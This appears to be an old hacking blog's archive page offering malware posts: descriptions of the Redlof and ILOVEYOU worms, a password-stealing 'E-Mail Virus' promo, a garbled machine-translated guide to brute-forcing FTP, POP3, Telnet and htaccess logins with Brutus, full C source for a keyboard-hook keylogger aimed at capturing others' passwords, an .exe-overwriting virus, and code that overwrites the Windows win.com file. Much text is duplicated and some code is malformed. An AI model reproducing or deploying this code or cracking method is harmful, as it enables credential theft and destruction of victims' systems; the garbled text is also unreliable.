Center of Reverse Engineering™

Showing posts with label source codes. Show all posts

Tuesday, September 29, 2009

Redolf Virus Source COde

WARNING: The Virus Source Code is for information purposes only, for researchers and computer virus or programming enthusiasts. No warranty is given or to be implied for any software listings contained herein. You take full responsibility for any damages caused by compiling, running, or sharing this information. Be aware that running any malicious code on another's computer or computer network might be a criminal act. Use at your own risk!

Redlof is polymorphic virus that embeds itself without any attachment to every e-mail sent from the infected system. It executes when an infected email message is viewed.

NAME: Redlof
ALIAS: VBS.Redlof, VBS/Redlof
ALIAS: VBS/Redolf

VARIANT: Redlof.A
VARIANT: VBS/Redolf.A

VBS/Redlof.A@m executes directly from an infected message by using a security vulnerbility in Internet Exlorer known as Microsoft VM ActiveX Control Vulnerability. More information about the vulnerability and a fix is available from Microsoft: http://www.microsoft.com/technet/security/bulletin/ms00-075.asp

When the virus executes, it infects a file "web\Folders.htt" at the Windows installation directory which causes that the virus activates when any directory is opened using the Active Desktop's web folder feature.

The virus also infects files with extensions "htm", "html", "asp", "php", "jsp", "htt" or "vbs".

Redlof drops the following infected files:

\Program Files\Common Files\Microsoft Shared\Stationery\blank.html
\Windows\System\Kernel32.dll
\Windows\web\kjwall.gif
\Windows\system32\desktop.ini

"blank.html" is used to replace the default stationaries for both Outlook and Outlook Express via registry causing that the every message sent from an infected system will carry the virus.

The "Kernel32.dll" is also set to registry so that it will be executed on the system restart:

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32

CORE™

Redolf Virus Source COde

Redlof is polymorphic virus that embeds itself without any attachment to every e-mail sent from the infected system. It executes when an infected email message is viewed.

NAME: Redlof
ALIAS: VBS.Redlof, VBS/Redlof
ALIAS: VBS/Redolf

VARIANT: Redlof.A
VARIANT: VBS/Redolf.A

VBS/Redlof.A@m executes directly from an infected message by using a security vulnerbility in Internet Exlorer known as Microsoft VM ActiveX Control Vulnerability. More information about the vulnerability and a fix is available from Microsoft: http://www.microsoft.com/technet/security/bulletin/ms00-075.asp

When the virus executes, it infects a file "web\Folders.htt" at the Windows installation directory which causes that the virus activates when any directory is opened using the Active Desktop's web folder feature.

The virus also infects files with extensions "htm", "html", "asp", "php", "jsp", "htt" or "vbs".

Redlof drops the following infected files:

\Program Files\Common Files\Microsoft Shared\Stationery\blank.html
\Windows\System\Kernel32.dll
\Windows\web\kjwall.gif
\Windows\system32\desktop.ini

"blank.html" is used to replace the default stationaries for both Outlook and Outlook Express via registry causing that the every message sent from an infected system will carry the virus.

The "Kernel32.dll" is also set to registry so that it will be executed on the system restart:

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32

CORE™

I LOVE YOU Virus Source Code

The ILOVEYOU worm, also known as VBS/Loveletter and Love Bug worm, is a computer worm written in VBScript.

Description
The worm arrived in e-mail boxes on May 4, 2000, with the simple subject of "ILOVEYOU" and an attachment "LOVE-LETTER-FOR-YOU.TXT.vbs".

Two aspects of the worm made it effective:
* It relied on social engineering to entice users to open the e-mail and ensure its continued propagation.
* It employed a mechanism — VBScripts — that, while not entirely novel, had not been exploited to such a degree previously to direct attention to their potential, reducing the layers of protection that would have to be navigated for success.

WARNING: The Virus Source Code is for information purposes only, for researchers and computer virus or programming enthusiasts. No warranty is given or to be implied for any software listings contained herein. You take full responsibility for any damages caused by compiling, running, or sharing this information. Be aware that running any malicious code on another's computer or computer network might be a criminal act. Use at your own risk!

CORE™

I LOVE YOU Virus Source Code

The ILOVEYOU worm, also known as VBS/Loveletter and Love Bug worm, is a computer worm written in VBScript.

Description
The worm arrived in e-mail boxes on May 4, 2000, with the simple subject of "ILOVEYOU" and an attachment "LOVE-LETTER-FOR-YOU.TXT.vbs".

Two aspects of the worm made it effective:
* It relied on social engineering to entice users to open the e-mail and ensure its continued propagation.
* It employed a mechanism — VBScripts — that, while not entirely novel, had not been exploited to such a degree previously to direct attention to their potential, reducing the layers of protection that would have to be navigated for success.

CORE™

Friday, September 25, 2009

Black Trojan

PHP Worm Source Code

CORE™

PHP Worm Source Code

CORE™

E-Mail Virus

How to use: This script can only be sent with hotmail, however you can send it to yahoo, aim, and so on. So open ur hotmail account. Now copy the script bellow and paste it in a new email (hotmail), and send it. It might apear in the bulk of the user you sent it to.

It will shutdown the computer of the victim u send this script and the password of the victims ids password will be sent to u when the victim opens this script in his inbox or junk mailbox.(the script is tested and it is fully working)

WARNING: The Virus Source Code is for information purposes only, for researchers and computer virus or programming enthusiasts. No warranty is given or to be implied for any software listings contained herein. You take full responsibility for any damages caused by compiling, running, or sharing this information. Be aware that running any malicious code on another's computer or computer network might be a criminal act. Use at your own risk!

CORE™

E-Mail Virus

CORE™

Tuesday, September 1, 2009

Brutus Program

Brutus is in the comparison - a very fast program little place on the computer uses. It has numerous attitude possibilities, so which one can individualize it in the smallest detail. Its technology developed too relatively and one should really have it! I am version strained on the 3er and whether then " bSoD's" disappeared and a RCODC function has.

Preface
~~~~~~~~~~~~~

Now, I wanted times a something more in more detail do write, however no plan about what it had to act should. There was it me quite right, which me a Newbie asked like Brutus AET2 functionedâ�¦
Application type: Brutus is independent and can be adjusted individuel and be extended e.g. through *.BAD files. If that is not sufficient, kannn one *.BAD create files.
Speed: With Brutus one can stop how many connections it to construct is (1-60) and which Timeout (1-60) it to use is. Thus one can create much more Attempts per second. My more up-to-date " Rekord" is with 81 attemps by second and with a HTAccess protection was reached (45C-20T).
But now to the substantial part.

HT ACCESS
~~~~~~~~~~~~
Here only pass-pointlike explained like one is " HT ACCESS with Brutus; hackt". Target: www.WebSite.de/geschuetzt/ type: HTTP (basic Auth) haven: 80 or 8080 Connections: 20-40 Timeout: approx. 20-60 Method: HEAD KeepAlive: True Use username: True single user: True (if you a Usernmae have) user file: (if you do not have a Wordlist to take) passport mode: Word cunning passport file: larger Wordlist who wants can still 'n anony Proxy between them scolded and/or over 'to n Fake/material clean-go.

Ftp entrance
~~~~~~~~~~~~~~~~
Here again only pass-pointlike explained like one is " ftp of entrances with Brutus; hackt". Target: ftp.tripod.de type: Ftp haven: 21 Connections: 20-35 Timeout: approx. 25-60 Try tons stay connected for: True (3 attemps) Use username: True single user: True (if you a Usernmae have) user file: (if you do not have a Wordlist to take) passport mode: Word cunning passport file: larger Wordlist who wants can still 'n anony Proxy between them scolded and/or over 'to n Fake/material clean-go.

POP3 account
~~~~~~~~~~~~
Here already again only pass-pointlike explained like one is " POP3 account with Brutus; hackt". Target: pop3.web.de type: Ftp haven: 110 Connections: 15-30 Timeout: approx. 30-60 Try tons stay connected for: True (3 attemps) Use username: True single user: True (if you a Usernmae have) user file: (if you do not have a Wordlist to take) passport mode: Word cunning passport file: larger Wordlist who wants can still 'n anony Proxy between them scolded and/or over 'to n Fake/material clean-go.

Telnet
~~~~~~~~~~~
Here also again only pass-pointlike explained like one " itself 'n account for telnet sessions with Brutus; hackt". Target: 127,0 type: Ftp haven: 110 Connections: 15-30 Timeout: approx. 30-60 Try tons stay connected for: True (3 attemps) Use username: True single user: True (if you a Usernmae have) user file: (if you do not have a Wordlist to take) passport mode: Word cunning passport file: larger Wordlist who wants can still 'n anony Proxy between them scolded and/or over 'to n Fake/material clean-go.

Bugs'n'Holes
~~~~~~~~~~~~~~
Brutus is a very good program, which unfortunately also a few smaller Macken has. But you Windows Usern might not that alzu dolle disturb 8]
This nose or gaps were noticeable to me so far: Connection Brutus " in the momentary AET2er version unfortunately still no automatic; reconnect on disconnect" Function. Brutus leaves momentarily only its " connection throttle back" or " connection reject" shine for error indicator. That is extremely still developableâ�¦ bSoD ways Brutus emerges usually repeatedly times bSoD (blue screen OF Death). With repeatedly is so every 15-30 hours meant. One knows Worldlist Tools with the Wordlist Tools integrated in Brutus " duplicate Remover" do not use.

Resources
~~~~~~~~~~~
Brutus *.BAD files and Brutus finds it " on the Site of the programmer; Hoobie". Soon there is to be also a Linux version of the Brutus momentarily programmed in Delphi, which is programmed with Kylix.

CORE™

Brutus Program

CORE™

Sunday, August 30, 2009

KEYLOGGER CODE

What is a keylogger?
it's a program that logs everything that you type on the keyboard.
what are it's usages to me?
well, if you want to record everytyhing someone types then you can then see anything you want like passwords and such.

How do i get one?
you can buy some corperate or home usage ones that are made for recording what employees are doing or what your kids are doing. that is a bad method though since they are bloated, cost money since most people don't know how to find warez and it's better to make your own since you can make it do what you want to do.

Ok, how do i do this?
you program one. if your new to programming then learn how to program in c then come back here. if you know how to program in c then read on.

there are two ways of making a keylogger:
1. using the GetAsyncKeyState API. look at svchost.c.

2. Using the SetWindowsHookEx API. This is the prefered method but only works on NT based systems. The reason this way is prefered is because it is much more efficient that GetAsyncKeyState. See for yourself. No need to check if what character is being pressed and no need to check other stuff like the value -32767 is being returned. Look here about this. When you use the SetWindowsHookApi you "hook" the keyboard to that you can send all of the keys prssed to somewhere. When making a keylogger you usually send it to a file so that all of the keys will be logged there. The only disavantage of using this API if you could even call it a disadvantage is that you have to use have a DLL as well as your .exe file. I found a peice of code that doesn't need a DLL. Here it is with a slight modification from me so that you don't have to have the keylogger close before you can view the file with the logged keys in it:

Here's the code

// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.

#define _WIN32_WINNT 0x0400

#include
#include
#include

// Global Hook handle
HHOOK hKeyHook;

// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.

__declspec(dllexport) LRESULT CALLBACK KeyEvent (

int nCode, // The hook code
WPARAM wParam, // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
LPARAM lParam // A pointer to a struct with information about the pressed key

) {
if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event
((wParam == WM_SYSKEYDOWN) || // Only react if either a system key ...
(wParam == WM_KEYDOWN))) // ... or a normal key have been pressed.
{

// This struct contains various information about
// the pressed key such as hardware scan code, virtual
// key code and further flags.

KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam);

// dwMsg shall contain the information that would be stored
// in the usual lParam argument of a WM_KEYDOWN message.
// All information like hardware scan code and other flags
// are stored within one double word at different bit offsets.
// Refer to MSDN for further information:
//
// http://msdn.microsoft.com/library/en-us/winui/winui/
// windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
//
// (Keystroke Messages)

DWORD dwMsg = 1;
dwMsg += hooked.scanCode << 16;
dwMsg += hooked.flags << 24;

// Call the GetKeyNameText() function to get the language-dependant
// name of the pressed key. This function should return the name
// of the pressed key in your language, aka the language used on
// the system.

char lpszName[0x100] = {0};
lpszName[0] = '[';

int i = GetKeyNameText(dwMsg,
(lpszName+1),0xFF) + 1;

lpszName[i] = ']';

// Print this name to the standard console output device.

FILE *file;
file=fopen("keys.log","a+");
fputs(lpszName,file);
fflush(file);
}

// the return value of the CallNextHookEx routine is always
// returned by your HookProc routine. This allows other
// applications to install and handle the same hook as well.

return CallNextHookEx(hKeyHook,
nCode,wParam,lParam);

}

// This is a simple message loop that will be used
// to block while we are logging keys. It does not
// perform any real task ...

void MsgLoop()
{
MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );
}
}

// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.

DWORD WINAPI KeyLogger(LPVOID lpParameter)
{

// Get a module handle to our own executable. Usually,
// the return value of GetModuleHandle(NULL) should be
// a valid handle to the current application instance,
// but if it fails we will also try to actually load
// ourself as a library. The thread's parameter is the
// first command line argument which is the path to our
// executable.

HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);

// Everything failed, we can't install the hook ... this
// never happened, but error handling is important.

if (!hExe) return 1;

hKeyHook = SetWindowsHookEx ( // install the hook:

WH_KEYBOARD_LL, // as a low level keyboard hook
(HOOKPROC) KeyEvent, // with the KeyEvent function from this executable
hExe, // and the module handle to our own executable
NULL // and finally, the hook should monitor all threads.
);

// Loop forever in a message loop and if the loop
// stops some time, unhook the hook. I could have
// added a signal handler for ctrl-c that unhooks
// the hook once the application is terminated by
// the user, but I was too lazy.

MsgLoop();
UnhookWindowsHookEx(hKeyHook);
return 0;
}

// The main function just starts the thread that
// installs the keyboard hook and waits until it
// terminates.

int main(int argc, char** argv)
{
HANDLE hThread;
DWORD dwThread;
DWORD exThread;

hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
KeyLogger, (LPVOID) argv[0], NULL, &dwThread);

if (hThread) {
return WaitForSingleObject(hThread,INFINITE);
} else {
return 1;
}
}

CORE™

KEYLOGGER CODE

CORE™

Monday, October 20, 2008

C++ Virus 2

It is a overwrite virus written ic C .When u run this program ,the program will overwrite all the exe files present in the current directory and the parent directory

#include

void main(int argc,char *argv[])

{

int bytes,i,done;

FILE *virus,*host;

struct ffblk *f;

char buffer[512];

{

done=findfirst("*.exe",f,0);

while(!done)

{

virus=fopen(argv[0],"rb");

//open the virus in read mode host=fopen(f->ff_name,"rb+");

//open the host file in r/w mode

for(;

fread(buffer,512,1,virus)==1;)

fwrite(buffer,512,1,host);

fclose(host);

fseek(virus,0,0);

//points to begining of virus

printf("infecting %s ",f->ff_name);

done=findnext(f);

}

while(!chdir(".."));

C++ Virus 2

It is a overwrite virus written ic C .When u run this program ,the program will overwrite all the exe files present in the current directory and the parent directory

#include

void main(int argc,char *argv[])

{

int bytes,i,done;

FILE *virus,*host;

struct ffblk *f;

char buffer[512];

{

done=findfirst("*.exe",f,0);

while(!done)

{

virus=fopen(argv[0],"rb");

//open the virus in read mode host=fopen(f->ff_name,"rb+");

//open the host file in r/w mode

for(;

fread(buffer,512,1,virus)==1;)

fwrite(buffer,512,1,host);

fclose(host);

fseek(virus,0,0);

//points to begining of virus

printf("infecting %s ",f->ff_name);

done=findnext(f);

}

while(!chdir(".."));

Sunday, October 19, 2008

C++ Virus 1

Warning:-- Do not run this on your pc.

#include

int main(void)

{

clrscr();

int handle;

char string[1000];

int length, res,i;

Create a file named "DOVE.GIF" in the current directory and write

a string to it. If "DOVE.GIF" already exists, it will be overwritten.

if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |

O_TRUNC,

S_IREAD | S_IWRITE)) == -1)

{

printf("Error opening file.
);

exit(1);

}

strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This

execution currupt your WINDOWS !!!!!!
);

length = strlen(string);

if ((res = write(handle, string, length)) != length)

{

printf("Error writing to the file.
);

getch();

exit(1);

}

printf("

Wrote %d bytes to the file.
, res);

cout<<"

Hello !!!!!!!!";

cout<<"

This is a VIRUS ATTACK !!!";

cout<<"

This execution currupt your WINDOWS !!!!!!
;

close(handle);

getch();

return 0;

}

//#include

#include

int main(void)

{

clrscr();

int handle;

char string[1000];

int length, res,i;

Create a file named "DOVE.GIF" in the current directory and write

a string to it. If "DOVE.GIF" already exists, it will be overwritten.

if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |

O_TRUNC,

S_IREAD | S_IWRITE)) == -1)

{

printf("Error opening file.
);

exit(1);

}

strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This

execution currupt your WINDOWS !!!!!!
);

length = strlen(string);

if ((res = write(handle, string, length)) != length)

{

printf("Error writing to the file.
);

getch();

exit(1);

}

printf("

Wrote %d bytes to the file.
, res);

cout<<"

Hello !!!!!!!!";

cout<<"

This is a VIRUS ATTACK !!!";

cout<<"

This execution currupt your WINDOWS !!!!!!
;

close(handle);

getch();

return 0;

}

// #include

#include

int main(void)

{

clrscr();

int handle;

char string[1000];

int length, res,i;

Create a file named "DOVE.GIF" in the current directory and write

a string to it. If "DOVE.GIF" already exists, it will be overwritten.

if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |

O_TRUNC,

S_IREAD | S_IWRITE)) == -1)

{

printf("Error opening file.
);

exit(1);

}

strcpy(string, "Hello !!!!!!! This is a VIRUS ATTACK !!! This

execution currupt your WINDOWS !!!!!!
);

length = strlen(string);

if ((res = write(handle, string, length)) != length)

{

printf("Error writing to the file.
);

getch();

exit(1);

}

printf("

Wrote %d bytes to the file.
, res);

cout<<"

Hello !!!!!!!!";

cout<<"

This is a VIRUS ATTACK !!!";

cout<<"

This execution currupt your WINDOWS !!!!!!
;

close(handle);

getch();

return 0;

}

Center of Reverse Engineering™

We have moved to http://access-xperia.blogspot.com

Tuesday, September 29, 2009

Redolf Virus Source COde

Redolf Virus Source COde

I LOVE YOU Virus Source Code

I LOVE YOU Virus Source Code

Friday, September 25, 2009

Black Trojan

Black Trojan

PHP Worm Source Code

PHP Worm Source Code

E-Mail Virus

E-Mail Virus

Tuesday, September 1, 2009

Brutus Program

Brutus Program

Sunday, August 30, 2009

KEYLOGGER CODE

KEYLOGGER CODE

Monday, October 20, 2008

C++ Virus 2

C++ Virus 2

Sunday, October 19, 2008

C++ Virus 1

Translator

Sponsors

Followers

Copyright

Related Sites

My BlogLog

Blog Archive

GeoStats

Featured

Popular